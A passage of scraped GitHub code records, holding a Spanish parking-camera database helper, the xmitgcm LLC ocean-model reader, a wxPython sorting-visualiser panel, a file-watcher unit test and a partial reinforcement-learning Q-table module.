actualizo\")\n\t\tconexion.close()\n\tdef ELIMINAR(dato):\n\t\tconexion=Conexion.ObtenerConexion()\n\t\tcursor= Conexion.ObtenerCursor(conexion)\n\t\tcursor.execute(ELIMINAR,dato)\n\t\tconexion.commit()\n\t\tprint(\"el registro se ELIMINO\")\n\t\tconexion.close()\n\tdef consultar():\n\t\tconexion=Conexion.ObtenerConexion()\n\t\tcursor= Conexion.ObtenerCursor(conexion)\n\t\tcursor.execute(SELECCIONAR)\n\t\tdato=cursor.fetchall()\n\t\tconexion.commit()\n\t\tconexion.close()\n\t\treturn dato\t\n\nif __name__ == '__main__':\n\t#Cam1=Camaras(2,5,9,93,56)\n\t#Camaras_D.INSERTAR(Cam1)\n\n\t#dato=(100,50,25,1)\n\t#Camaras_D.MODIFICAR(dato)\n\n\t#dato=(2,)\n\t#Camaras_D.ELIMINAR(dato)\n\n\n\tdatoz=Camaras_D.consultar()\n\tdf=pd.DataFrame(datoz,columns=[\"ID Camaras\",\"ID Parqueadero\",\"Numero\",\"Area\",\"Longitud\"])\n\tprint(df)","repo_name":"santiagoHernandezM/Proyecto-parqueadero-python","sub_path":"Modelo/Camaras_D.py","file_name":"Camaras_D.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38900244570","text":"import numpy as np\nimport dask\nimport dask.array as dsa\nfrom dask.base import tokenize, normalize_token\nimport xarray as xr\nimport warnings\n\nfrom .duck_array_ops import concatenate\nfrom .shrunk_index import all_index_data\n\ndef _get_var_metadata():\n # The LLC run data comes with zero metadata. So we import metadata from\n # the xmitgcm package.\n from ..variables import state_variables, package_state_variables\n from ..utils import parse_available_diagnostics\n from ..default_diagnostics import diagnostics\n from io import StringIO\n\n diag_file = StringIO(diagnostics)\n available_diags = parse_available_diagnostics(diag_file)\n var_metadata = state_variables\n var_metadata.update(package_state_variables)\n var_metadata.update(available_diags)\n\n # even the file names from the LLC data differ from standard MITgcm output\n aliases = {'Eta': 'ETAN', 'PhiBot': 'PHIBOT', 'Salt': 'SALT',\n 'Theta': 'THETA'}\n for a, b in aliases.items():\n var_metadata[a] = var_metadata[b]\n\n return var_metadata\n\n_VAR_METADATA = _get_var_metadata()\n\ndef _get_variable_point(vname):\n dims = _VAR_METADATA[vname]['dims']\n if 'i' in dims and 'j' in dims:\n point = 'c'\n elif 'i_g' in dims and 'j' in dims:\n point = 'w'\n elif 'i' in dims and 'j_g' in dims:\n point = 's'\n elif 'i_g' in dims and 'j_g' in dims:\n raise ValueError(\"Don't have masks for corner points!\")\n else:\n raise ValueError(\"Variable `%s` is not a horizontal variable.\" % vname)\n return point\n\ndef _get_scalars_and_vectors(varnames, type):\n\n for vname in varnames:\n if vname not in _VAR_METADATA:\n raise ValueError(\"Varname `%s` not found in metadata.\" % vname)\n\n if type != 'latlon':\n return varnames, []\n\n scalars = []\n vector_pairs = []\n for vname in varnames:\n meta = _VAR_METADATA[vname]\n try:\n mate = meta['attrs']['mate']\n if mate not in varnames:\n raise ValueError(\"Vector pairs are required to create \"\n \"latlon type datasets. Varname `%s` is \"\n \"missing its vector mate `%s`\"\n % vname, mate)\n vector_pairs.append((vname, mate))\n varnames.remove(mate)\n except KeyError:\n scalars.append(vname)\n\ndef _decompress(data, mask, dtype):\n data_blank = np.full_like(mask, np.nan, dtype=dtype)\n data_blank[mask] = data\n data_blank.shape = mask.shape\n return data_blank\n\n\n\n_facet_strides = ((0,3), (3,6), (6,7), (7,10), (10,13))\n# whether to reshape each face\n_facet_reshape = (False, False, False, True, True)\n_nfaces = 13\n_nfacets = 5\n\ndef _uncompressed_facet_index(nfacet, nside):\n face_size = nside**2\n start = _facet_strides[nfacet][0] * face_size\n end = _facet_strides[nfacet][1] * face_size\n return start, end\n\ndef _facet_shape(nfacet, nside):\n facet_length = _facet_strides[nfacet][1] - _facet_strides[nfacet][0]\n if _facet_reshape[nfacet]:\n facet_shape = (1, nside, facet_length*nside)\n else:\n facet_shape = (1, facet_length*nside, nside)\n return facet_shape\n\ndef _facet_to_faces(data, nfacet):\n shape = data.shape\n # facet dimension\n nf, ny, nx = shape[-3:]\n other_dims = shape[:-3]\n assert nf == 1\n facet_length = _facet_strides[nfacet][1] - _facet_strides[nfacet][0]\n if _facet_reshape[nfacet]:\n new_shape = other_dims + (ny, facet_length, nx / facet_length)\n data_rs = data.reshape(new_shape)\n data_rs = np.moveaxis(data_rs, -2, -3) # dask-safe\n else:\n new_shape = other_dims + (facet_length, ny / facet_length, nx)\n data_rs = data.reshape(new_shape)\n return data_rs\n\ndef _facets_to_faces(facets):\n all_faces = []\n for nfacet, data_facet in enumerate(facets):\n data_rs = _facet_to_faces(data_facet, nfacet)\n all_faces.append(data_rs)\n return concatenate(all_faces, axis=-3)\n\ndef _faces_to_facets(data, facedim=-3):\n assert data.shape[facedim] == _nfaces\n facets = []\n for nfacet, (strides, reshape) in enumerate(zip(_facet_strides, _facet_reshape)):\n face_data = [data[(...,) + (slice(nface, nface+1), slice(None), slice(None))]\n for nface in range(*strides)]\n if reshape:\n concat_axis = facedim + 2\n else:\n concat_axis = facedim + 1\n # todo: use duck typing for concat\n facet_data = concatenate(face_data, axis=concat_axis)\n facets.append(facet_data)\n return facets\n\n\ndef _rotate_scalar_facet(facet):\n facet_transposed = np.moveaxis(facet, -1, -2)\n facet_rotated = np.flip(facet_transposed, -2)\n return facet_rotated\n\n\ndef _facets_to_latlon_scalar(all_facets):\n rotated = (all_facets[:2]\n + [_rotate_scalar_facet(facet) for facet in all_facets[-2:]])\n # drop facet dimension\n rotated = [r[..., 0, :, :] for r in rotated]\n return concatenate(rotated, axis=-1)\n\n\ndef _faces_to_latlon_scalar(data):\n data_facets = _faces_to_facets(data)\n return _facets_to_latlon_scalar(data_facets)\n\n\n# dask's pad function doesn't work\n# it does weird things to non-pad dimensions\n# need to roll our own\ndef shift_and_pad(a):\n a_shifted = a[..., 1:]\n pad_array = dsa.zeros_like(a[..., -2:-1])\n return concatenate([a_shifted, pad_array], axis=-1)\n\ndef transform_v_to_u(facet):\n return _rotate_scalar_facet(facet)\n\ndef transform_u_to_v(facet, metric=False):\n # \"shift\" u component by 1 pixel\n pad_width = (facet.ndim - 1) * (None,) + ((1, 0),)\n #facet_padded = dsa.pad(facet[..., 1:], pad_width, 'constant')\n facet_padded = shift_and_pad(facet)\n assert facet.shape == facet_padded.shape\n facet_rotated = _rotate_scalar_facet(facet_padded)\n if not metric:\n facet_rotated = -facet_rotated\n return facet_rotated\n\ndef _facets_to_latlon_vector(facets_u, facets_v, metric=False):\n # need to pad the rotated v values\n ndim = facets_u[0].ndim\n # second-to-last axis is the one to pad, plus a facet axis\n assert ndim >= 3\n\n # drop facet dimension\n facets_u_drop = [f[..., 0, :, :] for f in facets_u]\n facets_v_drop = [f[..., 0, :, :] for f in facets_v]\n\n u_rot = (facets_u_drop[:2]\n + [transform_v_to_u(facet) for facet in facets_v_drop[-2:]])\n v_rot = (facets_v_drop[:2]\n + [transform_u_to_v(facet, metric) for facet in facets_u_drop[-2:]])\n\n u = concatenate(u_rot, axis=-1)\n v = concatenate(v_rot, axis=-1)\n return u, v\n\ndef _faces_to_latlon_vector(u_faces, v_faces, metric=False):\n u_facets = _faces_to_facets(u_faces)\n v_facets = _faces_to_facets(v_faces)\n u, v = _facets_to_latlon_vector(u_facets, v_facets, metric=metric)\n return u, v\n\ndef _drop_facedim(dims):\n dims = list(dims)\n dims.remove('face')\n return dims\n\ndef _add_face_to_dims(dims):\n new_dims = dims.copy()\n if 'j' in dims:\n j_dim = dims.index('j')\n new_dims.insert(j_dim, 'face')\n elif 'j_g' in dims:\n j_dim = dims.index('j_g')\n new_dims.insert(j_dim, 'face')\n return new_dims\n\ndef _faces_coords_to_latlon(ds):\n coords = ds.reset_coords().coords.to_dataset()\n ifac = 4\n jfac = 3\n dim_coords = {}\n for vname in coords.coords:\n if vname[0] == 'i':\n data = np.arange(ifac * coords.dims[vname])\n elif vname[0] == 'j':\n data = np.arange(jfac * coords.dims[vname])\n else:\n data = coords[vname].data\n var = xr.Variable(ds[vname].dims, data, ds[vname].attrs)\n dim_coords[vname] = var\n return xr.Dataset(dim_coords)\n\ndef faces_dataset_to_latlon(ds, metric_vector_pairs=[('dxC', 'dyC'), ('dyG', 'dxG')]):\n \"\"\"Transform a 13-face LLC xarray Dataset into a rectancular grid,\n discarding the Arctic.\n\n Parameters\n ----------\n ds : xarray.Dataset\n A 13-face LLC dataset\n metric_vector_pairs : list, optional\n Pairs of variables that are positive-definite metrics located at grid\n edges.\n\n Returns\n -------\n out : xarray.Dataset\n Transformed rectangular dataset\n \"\"\"\n\n coord_vars = list(ds.coords)\n ds_new = _faces_coords_to_latlon(ds)\n\n vector_pairs = []\n scalars = []\n vnames = list(ds.reset_coords().variables)\n for vname in vnames:\n try:\n mate = ds[vname].attrs['mate']\n vector_pairs.append((vname, mate))\n vnames.remove(mate)\n except KeyError:\n pass\n\n all_vector_components = [inner for outer in (vector_pairs + metric_vector_pairs)\n for inner in outer]\n scalars = [vname for vname in vnames if vname not in all_vector_components]\n data_vars = {}\n\n for vname in scalars:\n if vname=='face' or vname in ds_new:\n continue\n if 'face' in ds[vname].dims:\n data = _faces_to_latlon_scalar(ds[vname].data)\n dims = _drop_facedim(ds[vname].dims)\n else:\n data = ds[vname].data\n dims = ds[vname].dims\n data_vars[vname] = xr.Variable(dims, data, ds[vname].attrs)\n\n for vname_u, vname_v in vector_pairs:\n data_u, data_v = _faces_to_latlon_vector(ds[vname_u].data, ds[vname_v].data)\n data_vars[vname_u] = xr.Variable(_drop_facedim(ds[vname_u].dims), data_u, ds[vname_u].attrs)\n data_vars[vname_v] = xr.Variable(_drop_facedim(ds[vname_v].dims), data_v, ds[vname_v].attrs)\n for vname_u, vname_v in metric_vector_pairs:\n data_u, data_v = _faces_to_latlon_vector(ds[vname_u].data, ds[vname_v].data, metric=True)\n data_vars[vname_u] = xr.Variable(_drop_facedim(ds[vname_u].dims), data_u, ds[vname_u].attrs)\n data_vars[vname_v] = xr.Variable(_drop_facedim(ds[vname_v].dims), data_v, ds[vname_v].attrs)\n\n\n ds_new = ds_new.update(data_vars)\n ds_new = ds_new.set_coords([c for c in coord_vars if c in ds_new])\n return ds_new\n\n\n# below are data transformers\n\ndef _all_facets_to_faces(data_facets, meta):\n return {vname: _facets_to_faces(data)\n for vname, data in data_facets.items()}\n\n\ndef _all_facets_to_latlon(data_facets, meta):\n\n vector_pairs = []\n scalars = []\n vnames = list(data_facets)\n for vname in vnames:\n try:\n mate = meta[vname]['attrs']['mate']\n vector_pairs.append((vname, mate))\n vnames.remove(mate)\n except KeyError:\n pass\n\n all_vector_components = [inner for outer in vector_pairs for inner in outer]\n scalars = [vname for vname in vnames if vname not in all_vector_components]\n\n data = {}\n for vname in scalars:\n data[vname] = _facets_to_latlon_scalar(data_facets[vname])\n\n for vname_u, vname_v in vector_pairs:\n data_u, data_v = _facets_to_latlon_vector(data_facets[vname_u],\n data_facets[vname_v])\n data[vname_u] = data_u\n data[vname_v] = data_v\n\n return data\n\ndef _chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef _get_facet_chunk(store, varname, iternum, nfacet, klevels, nx, nz, dtype):\n fs, path = store.get_fs_and_full_path(varname, iternum)\n file = fs.open(path)\n\n assert (nfacet >= 0) & (nfacet < _nfacets)\n\n try:\n # workaround for ecco data portal\n file = fs.open(path, size_policy='get')\n except TypeError:\n file = fs.open(path)\n\n # insert singleton axis for time and k level\n facet_shape = (1, 1,) + _facet_shape(nfacet, nx)\n\n level_data = []\n\n # TODO: get index\n # the store tells us whether we need a mask or not\n point = _get_variable_point(varname)\n if store.shrunk:\n index = all_index_data[nx][point]\n zgroup = store.open_mask_group()\n mask = zgroup['mask_' + point].astype('bool')\n else:\n index = None\n mask = None\n\n for k in klevels:\n assert (k >= 0) & (k < nz)\n\n # figure out where in the file we have to read to get the data\n # for this level and facet\n if index:\n i = np.ravel_multi_index((k, nfacet), (nz, _nfacets))\n start = index[i]\n end = index[i+1]\n else:\n level_start = k * nx**2 * _nfaces\n facet_start, facet_end = _uncompressed_facet_index(nfacet, nx)\n start = level_start + facet_start\n end = level_start + facet_end\n\n read_offset = start * dtype.itemsize # in bytes\n read_length = (end - start) * dtype.itemsize # in bytes\n file.seek(read_offset)\n buffer = file.read(read_length)\n data = np.frombuffer(buffer, dtype=dtype)\n assert len(data) == (end - start)\n\n if mask:\n mask_level = mask[k]\n mask_facets = _faces_to_facets(mask_level)\n this_mask = mask_facets[nfacet]\n data = _decompress(data, this_mask, dtype)\n\n # this is the shape this facet is supposed to have\n data.shape = facet_shape\n level_data.append(data)\n\n return np.concatenate(level_data, axis=1)\n\n\nclass BaseLLCModel:\n \"\"\"Class representing an LLC Model Dataset.\n\n Parameters\n ----------\n store : llcreader.BaseStore\n The store object where the data can be found\n mask_ds : zarr.Group\n Must contain variables `mask_c`, `masc_w`, `mask_s`\n\n Attributes\n ----------\n dtype : numpy.dtype\n Datatype of the data in the dataset\n nx : int\n Number of gridpoints per face (e.g. 90, 1080, 4320, etc.)\n nz : int\n Number of vertical gridpoints\n delta_t : float\n Numerical timestep\n time_units : str\n Date unit string, e.g 'seconds since 1948-01-01 12:00:00'\n iter_start : int\n First model iteration number (inclusive; follows python range conventions)\n iter_stop : int\n Final model iteration number (exclusive; follows python range conventions)\n iter_step : int\n Spacing between iterations\n varnames : list\n List of variable names contained in the dataset\n \"\"\"\n\n nface = 13\n dtype = np.dtype('>f4')\n # should be implemented by child classes\n nx = None\n nz = None\n delta_t = None\n time_units = None\n iter_start = None\n iter_stop = None\n iter_step = None\n varnames = []\n\n def __init__(self, store):\n \"\"\"Initialize model\n\n Parameters\n ----------\n store : llcreader.BaseStore\n mask_ds : zarr.Group\n Must contain variables `mask_c`, `masc_w`, `mask_s`\n \"\"\"\n self.store = store\n self.shape = (self.nz, self.nface, self.nx, self.nx)\n if self.store.shrunk:\n self.masks = self._get_masks()\n from .shrunk_index import all_index_data\n self.indexes = all_index_data[self.nx]\n else:\n self.masks = None\n self.indexes = None\n\n\n def _get_masks(self):\n masks = {}\n zgroup = self.store.open_mask_group()\n for point in ['c', 'w', 's']:\n mask_faces = dsa.from_zarr(zgroup['mask_' + point]).astype('bool')\n masks[point] = _faces_to_facets(mask_faces)\n return masks\n\n\n def _make_coords_faces(self, all_iters):\n time = self.delta_t * all_iters\n time_attrs = {'units': self.time_units,\n 'calendar': self.calendar}\n coords = {'face': ('face', np.arange(self.nface)),\n 'i': ('i', np.arange(self.nx)),\n 'i_g': ('i_g', np.arange(self.nx)),\n 'j': ('j', np.arange(self.nx)),\n 'j_g': ('j_g', np.arange(self.nx)),\n 'k': ('k', np.arange(self.nz)),\n 'k_u': ('k_u', np.arange(self.nz)),\n 'k_l': ('k_l', np.arange(self.nz)),\n 'k_p1': ('k_p1', np.arange(self.nz + 1)),\n 'niter': ('time', all_iters),\n 'time': ('time', time, time_attrs)\n }\n return xr.decode_cf(xr.Dataset(coords=coords))\n\n\n def _make_coords_latlon():\n ds = self._make_coords_faces(self)\n return _faces_coords_to_latlon(ds)\n\n\n def _get_mask_and_index_for_variable(self, vname):\n if self.masks is None:\n return None, None\n\n dims = _VAR_METADATA[vname]['dims']\n if 'i' in dims and 'j' in dims:\n point = 'c'\n elif 'i_g' in dims and 'j' in dims:\n point = 'w'\n elif 'i' in dims and 'j_g' in dims:\n point = 's'\n elif 'i_g' in dims and 'j_g' in dims:\n raise ValueError(\"Don't have masks for corner points!\")\n else:\n # this is not a 2D variable\n return None, None\n\n mask = self.masks[point]\n index = self.indexes[point]\n return mask, index\n\n\n def _dask_array(self, nfacet, varname, iters, klevels, k_chunksize):\n # return a dask array for a single facet\n facet_shape = _facet_shape(nfacet, self.nx)\n time_chunks = (len(iters) * (1,),)\n k_chunks = (tuple([len(c)\n for c in _chunks(klevels, k_chunksize)]),)\n chunks = time_chunks + k_chunks + tuple([(s,) for s in facet_shape])\n\n # manually build dask graph\n dsk = {}\n token = tokenize(varname, self.store, nfacet)\n name = '-'.join([varname, token])\n for n_iter, iternum in enumerate(iters):\n for n_k, these_klevels in enumerate(_chunks(klevels, k_chunksize)):\n key = name, n_iter, n_k, 0, 0, 0\n task = (_get_facet_chunk, self.store, varname, iternum,\n nfacet, these_klevels, self.nx, self.nz, self.dtype)\n dsk[key] = task\n\n return dsa.Array(dsk, name, chunks, self.dtype)\n\n\n def _get_facet_data(self, varname, iters, klevels, k_chunksize):\n mask, index = self._get_mask_and_index_for_variable(varname)\n # needs facets to be outer index of nested lists\n dims = _VAR_METADATA[varname]['dims']\n\n if len(dims)==2:\n klevels = [0,]\n\n data_facets = [self._dask_array(nfacet, varname, iters, klevels, k_chunksize)\n for nfacet in range(5)]\n\n if len(dims)==2:\n # squeeze depth dimension out of 2D variable\n data_facets = [facet[..., 0, :, :, :] for facet in data_facets]\n\n return data_facets\n\n\n def get_dataset(self, varnames=None, iter_start=None, iter_stop=None,\n iter_step=None, k_levels=None, k_chunksize=1,\n type='faces'):\n \"\"\"\n Create an xarray Dataset object for this model.\n\n Parameters\n ----------\n *varnames : list of strings, optional\n The variables to include, e.g. ``['Salt', 'Theta']``. Otherwise\n include all known variables.\n iter_start : int, optional\n Starting iteration number. Otherwise use model default.\n Follows standard `range` conventions. (inclusive)\n iter_start : int, optional\n Stopping iteration number. Otherwise use model default.\n Follows standard `range` conventions. (exclusive)\n iter_step : int, optional\n Iteration number stepsize. Otherwise use model default.\n k_levels : list of ints, optional\n Vertical levels to extract. Default is to get them all\n k_chunksize : int, optional\n How many vertical levels per Dask chunk.\n type : {'faces', 'latlon'}, optional\n What type of dataset to create\n\n Returns\n -------\n ds : xarray.Dataset\n \"\"\"\n\n def _if_not_none(a, b):\n if a is None:\n return b\n else:\n return a\n\n iter_start = _if_not_none(iter_start, self.iter_start)\n iter_stop = _if_not_none(iter_stop, self.iter_stop)\n iter_step = _if_not_none(iter_step, self.iter_step)\n iter_params = [iter_start, iter_stop, iter_step]\n if any([a is None for a in iter_params]):\n raise ValueError(\"The parameters `iter_start`, `iter_stop` \"\n \"and `iter_step` must be defined either by the \"\n \"model class or as argument. Instead got %r \"\n % iter_params)\n iters = np.arange(*iter_params)\n\n varnames = varnames or self.varnames\n\n ds = self._make_coords_faces(iters)\n if type=='latlon':\n ds = _faces_coords_to_latlon(ds)\n\n k_levels = k_levels or np.arange(self.nz)\n ds = ds.sel(k=k_levels, k_l=k_levels, k_u=k_levels, k_p1=k_levels)\n\n # get the data in facet form\n data_facets = {vname:\n self._get_facet_data(vname, iters, k_levels, k_chunksize)\n for vname in varnames}\n\n # transform it into faces or latlon\n data_transformers = {'faces': _all_facets_to_faces,\n 'latlon': _all_facets_to_latlon}\n\n transformer = data_transformers[type]\n data = transformer(data_facets, _VAR_METADATA)\n\n variables = {}\n for vname in varnames:\n meta = _VAR_METADATA[vname]\n dims = meta['dims']\n if type=='faces':\n dims = _add_face_to_dims(dims)\n dims = ['time',] + dims\n attrs = meta['attrs']\n variables[vname] = xr.Variable(dims, data[vname], attrs)\n\n ds = ds.update(variables)\n return ds\n","repo_name":"rowhit/xmitgcm","sub_path":"xmitgcm/llcreader/llcmodel.py","file_name":"llcmodel.py","file_ext":"py","file_size_in_byte":21544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"25554175337","text":"import random\n\nimport wx\nfrom wxAlgorithm.constants import PALLETES\n\nclass ArrayPanel(wx.Panel):\n \"\"\"array를 받아서 그림을 그려주는 panel.\"\"\"\n def __init__(self, parent, array, colors):\n super().__init__(parent, wx.ID_ANY)\n self.set(array, colors)\n\n self.Bind(wx.EVT_SIZE, self.on_size)\n self.Bind(wx.EVT_PAINT, self.on_paint)\n\n def set(self, array, colors):\n self.array = array\n for color in colors:\n if color not in PALLETES.keys():\n raise ValueError(\"{} are not in PALLETES\".format(color))\n self.colors = colors\n self.Refresh()\n\n def on_size(self, event):\n event.Skip()\n self.Refresh()\n\n def on_paint(self, event):\n canvas_w, canvas_h = self.GetClientSize()\n\n dc = wx.PaintDC(self)\n dc.Clear()\n\n array = self.array\n colors = self.colors\n\n max_val = max(array)\n el_width = canvas_w / len(array)\n\n for i, (el, color) in enumerate(zip(array, colors)):\n el_height = (el / max_val * canvas_h)\n dc.SetBrush(wx.Brush(PALLETES[color]))\n\n dc.DrawRectangle(i * el_width,\n canvas_h - el_height,\n el_width,\n el_height)\n\n\nclass StepPanel(wx.Panel):\n \"\"\"Array view를 가지며 step button, reset button, slide를 추가한 panel\"\"\"\n def __init__(self, parent, num_elements=5):\n super().__init__(parent, wx.ID_ANY)\n bSizer = wx.BoxSizer(wx.VERTICAL)\n self.panel = ArrayPanel(self, [], [])\n bSizer.Add(self.panel, 1, wx.EXPAND| wx.ALL)\n\n hSizer = wx.BoxSizer(wx.HORIZONTAL)\n\n self.reset = wx.Button(self, wx.ID_ANY, \"reset\")\n self.next = wx.Button(self, wx.ID_ANY, \"next\")\n hSizer.Add(self.next, 1, wx.EXPAND)\n hSizer.Add(self.reset, 1, wx.EXPAND)\n bSizer.Add(hSizer, 0, wx.EXPAND|wx.ALL)\n\n hSizer2 = wx.BoxSizer(wx.HORIZONTAL)\n self.statictext = wx.StaticText(self, wx.ID_ANY, \"#elements: 5\", style=wx.ALIGN_CENTER)\n hSizer2.Add(self.statictext, 1, wx.EXPAND|wx.ALL)\n slider = wx.Slider(self, wx.ID_ANY, 5, 2, 10)\n hSizer2.Add(slider, 3, wx.EXPAND|wx.ALL)\n bSizer.Add(hSizer2, 0, wx.EXPAND|wx.ALL)\n\n self.SetSizer(bSizer)\n self.Layout()\n\n self.reset.Bind(wx.EVT_BUTTON, self.on_reset_clicked)\n self.next.Bind(wx.EVT_BUTTON, self.on_next_clicked)\n slider.Bind(wx.EVT_SLIDER, self.on_slide)\n \n # not GUI\n self.num_elements = num_elements\n self.reset_data()\n\n def on_slide(self, event):\n obj = event.GetEventObject()\n value = obj.GetValue()\n if self.num_elements != value:\n self.set_num_elements(value)\n self.statictext.SetLabel(\"#elements: {}\".format(value))\n self.Layout()\n\n def set_num_elements(self, num_elements):\n self.num_elements = num_elements\n self.reset_data()\n\n def reset_data(self):\n self.array = [i + 1 for i in range(self.num_elements)]\n random.shuffle(self.array)\n\n self.step_gen = self.step_generator()\n self.colors = ['default' for _ in self.array]\n self.panel.set(self.array, self.colors)\n self.next.Enable()\n\n def step_generator(self):\n \"\"\"self.array, self.colors를 바꾸는 함수. \n \n yield 후 self.colors가 초기화되기 때문에, 바꾸고싶은 color만 바꾸면 된다.\n\n \"\"\"\n raise NotImplementedError\n \n def on_reset_clicked(self, event):\n self.reset_data()\n\n def on_next_clicked(self, event):\n \"\"\"array의 모든 color를 default로 초기화 시키고, step_gen을 한번 호출한다.\n\n \"\"\"\n try:\n self.colors = ['default' for _ in self.array]\n next(self.step_gen)\n self.panel.set(self.array, self.colors)\n except StopIteration:\n self.panel.set(self.array, ['disabled' for _ in self.array])\n self.next.Disable()\n","repo_name":"Hulk89/wxAlgorithm","sub_path":"wxAlgorithm/sorts/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22044411282","text":"\"\"\"Test the `WatcherManager` class.\n\"\"\"\n\nfrom tests.helper_functions import TestCaseWithFakeFiles\nfrom tests.helper_functions import create_file\nfrom tests.helper_functions import remove_file\n\nfrom watch_do import WatcherManager\nfrom watch_do import GlobManager\nfrom watch_do.watchers import Watcher\nfrom watch_do.watchers.hash import MD5\n\n\nclass TestWatcherManager(TestCaseWithFakeFiles):\n \"\"\"Test the `WatcherManager` class.\n \"\"\"\n def setUp(self):\n super(TestWatcherManager, self).setUp()\n\n self.glob_manager = GlobManager(['*'])\n self.watcher_manager = WatcherManager(\n MD5, self.glob_manager, True, True)\n\n def test___init__(self):\n \"\"\"Check that all passed in properties are being stored correctly.\n \"\"\"\n self.assertTrue(issubclass(self.watcher_manager.watcher, Watcher))\n self.assertIsInstance(self.watcher_manager.glob_manager, GlobManager)\n self.assertTrue(self.watcher_manager.reglob)\n self.assertTrue(self.watcher_manager.changed_on_remove)\n self.assertEqual(self.watcher_manager.files, set())\n\n def test_get_changed_files(self):\n \"\"\"Chack that new, removed and changed files are being reported.\n \"\"\"\n # No changed files to start with\n self.assertEqual(self.watcher_manager.get_changed_files(), set(''))\n\n # Check we have successfully globbed some files\n self.assertEqual(self.watcher_manager.files,\n {\n 'dave.txt',\n 'bob.py',\n 'jim.py.txt',\n 'fred.txt.py',\n 'rob.txt',\n 'geoff.py'\n })\n\n # New file\n create_file('something_random.jpeg')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n {'something_random.jpeg'})\n\n # Removed file (as `changed_on_remove` is True)\n remove_file('something_random.jpeg')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n {'something_random.jpeg'})\n\n # Change file\n create_file('dave.txt', 'Hello World')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n {'dave.txt'})\n\n # Disable changed_on_remove\n self.watcher_manager._changed_on_remove = False\n remove_file('dave.txt')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n set())\n\n # New file with reglob disabled\n self.watcher_manager._reglob = False\n create_file('dave.txt')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n set())\n\n # Removed file with reglob disabled\n remove_file('bob.py')\n self.assertEqual(self.watcher_manager.get_changed_files(),\n set())\n","repo_name":"vimist/watch-do","sub_path":"tests/watcher_manager.py","file_name":"watcher_manager.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"12585717691","text":"import numpy as np \nimport functools\nimport operator\nfrom typing import Union, List, Tuple, Optional, Dict\nfrom collections import defaultdict\nfrom scipy.special import expit, logsumexp\nfrom gym import spaces\n\n\ndef make_hashable(x: Union[int, float, np.ndarray, list, tuple]) -> tuple:\n \"\"\"Converts the input into a hashable for use as a key\n\n Args:\n x (Union[int, float, np.ndarray, list, tuple]): Raw input to be converted.\n\n Raises:\n NotImplementedError: If the input is not a supported type.\n\n Returns:\n tuple: Hashable version of the input.\n \"\"\"\n if isinstance(x, np.ndarray):\n return tuple(x.flatten())\n elif isinstance(x, list):\n return tuple(functools.reduce(operator.concat, x))\n elif isinstance(x, tuple):\n return x\n else:\n raise NotImplementedError\n\nclass IntraOptionQTable:\n def __init__(self, discount: float, lr: float, level: int) -> None:\n self.lr = lr\n self.discount = discount\n self.level = level\n self.table = defaultdict(float) # Input will be obs and option_chain and option to get q value\n \n\n def _preprocess_obs(self, obs: Union[int, float, np.ndarray, list, tuple]) -> tuple:\n \"\"\"\n Converts the input into a hashable for use as a key in the `weights` dictionary. \n Assumes single observation is given.\n Args:\n obs (Union[np.ndarray, list, tuple]): Observation from environment.\n\n Returns:\n tuple: Outputs a flat tuple \n \"\"\"\n return make_hashable(obs)\n\n def get_q_value(\n self, \n obs: Union[int, np.ndarray, list, tuple], \n option_chain: Tuple[int],\n option: int\n ) -> Union[int, float, np.ndarray]:\n \"\"\"Main API for calling the QTable. Note that for tabular methods, we assume single inputs.\n\n Args:\n obs (Union[int, np.ndarray, list, tuple]): Single observation.\n option_chain (Tuple[int], optional): Tuple of options executing above this critic's level. Length = self.level-2\n\n Returns:\n Union[int, float]: Q(s, o^{1:l}) or Q(s, :) if no action is given. Shape should be at least 2d\n \"\"\"\n obs_ = self._preprocess_obs(obs)\n \n q = self.weights[(obs_, option_chain, option)]\n return np.atleast_2d(q)\n\n def set_q_value(\n self, \n obs: Union[int, np.ndarray, list, tuple], \n option_chain: Tuple[int], \n option: int,\n target: Union[float, int]) -> None:\n obs_ = self._preprocess_obs(obs)\n self.weights[(obs_, option_chain, option)] = target\n\n def update(self, transition: Dict[str, Union[int, float, bool]]) -> None:\n obs = transition[\"obs\"]\n action = transition[\"actions\"]\n reward = transition[\"task_rewards\"]\n done = transition[\"dones\"]\n next_obs = transition[\"next_obs\"]\n\n # One-step update target\n next_obs_action_vals = self.get_q_value(next_obs)\n next_obs_val = np.max(next_obs_action_vals, axis=1)\n update_target = reward + (1-done) * self.discount * next_obs_val\n new_q = self.get_q_value(obs, action) * \\\n (1 - self.lr) + self.lr * update_target\n self.set_q_value(obs, action, new_q)\n\nclass OptionQTable:\n pass\n\nclass OptionActionQTable: # Q(s, o, a)\n def __init__(self, discount, lr, num_obs, num_actions, num_options, reward_type):\n self.lr = lr\n self.discount = discount\n self.weights = np.zeros((num_obs, num_options, num_actions), dtype=np.float32)\n self.reward_type = reward_type\n self.num_obs = num_obs\n self.num_actions = num_actions\n self.num_options = num_options\n\n def get_q_value(self, obs, option, action=None):\n \n if isinstance(obs, float) or isinstance(option, float) or isinstance(action, float):\n raise ValueError(\"Obs, options and actions must be integers or arrays of integers.\") \n if not isinstance(obs, int):\n obs = np.array(obs, dtype=int).reshape(-1,)\n if not isinstance(option, int):\n option = np.array(option, dtype=int).reshape(-1,)\n \n if action is None:\n q = self.weights[obs, option].reshape(-1, self.num_actions)\n else:\n # If it's a float array, a float, or a list or tuple.\n if not isinstance(action, int):\n action = np.array(action, dtype=int).reshape(-1,)\n\n q = self.weights[obs, option, action].reshape(-1, 1)\n return q # (batch_size, 1 or num_actions)\n\n def set_q_value(\n self, \n obs: Union[int, List, np.ndarray],\n option: Union[int, List, np.ndarray],\n action: Union[int, List, np.ndarray],\n target: Union[float, List, np.ndarray]\n ):\n \"\"\"Setting Q values. This works for single or sequences of 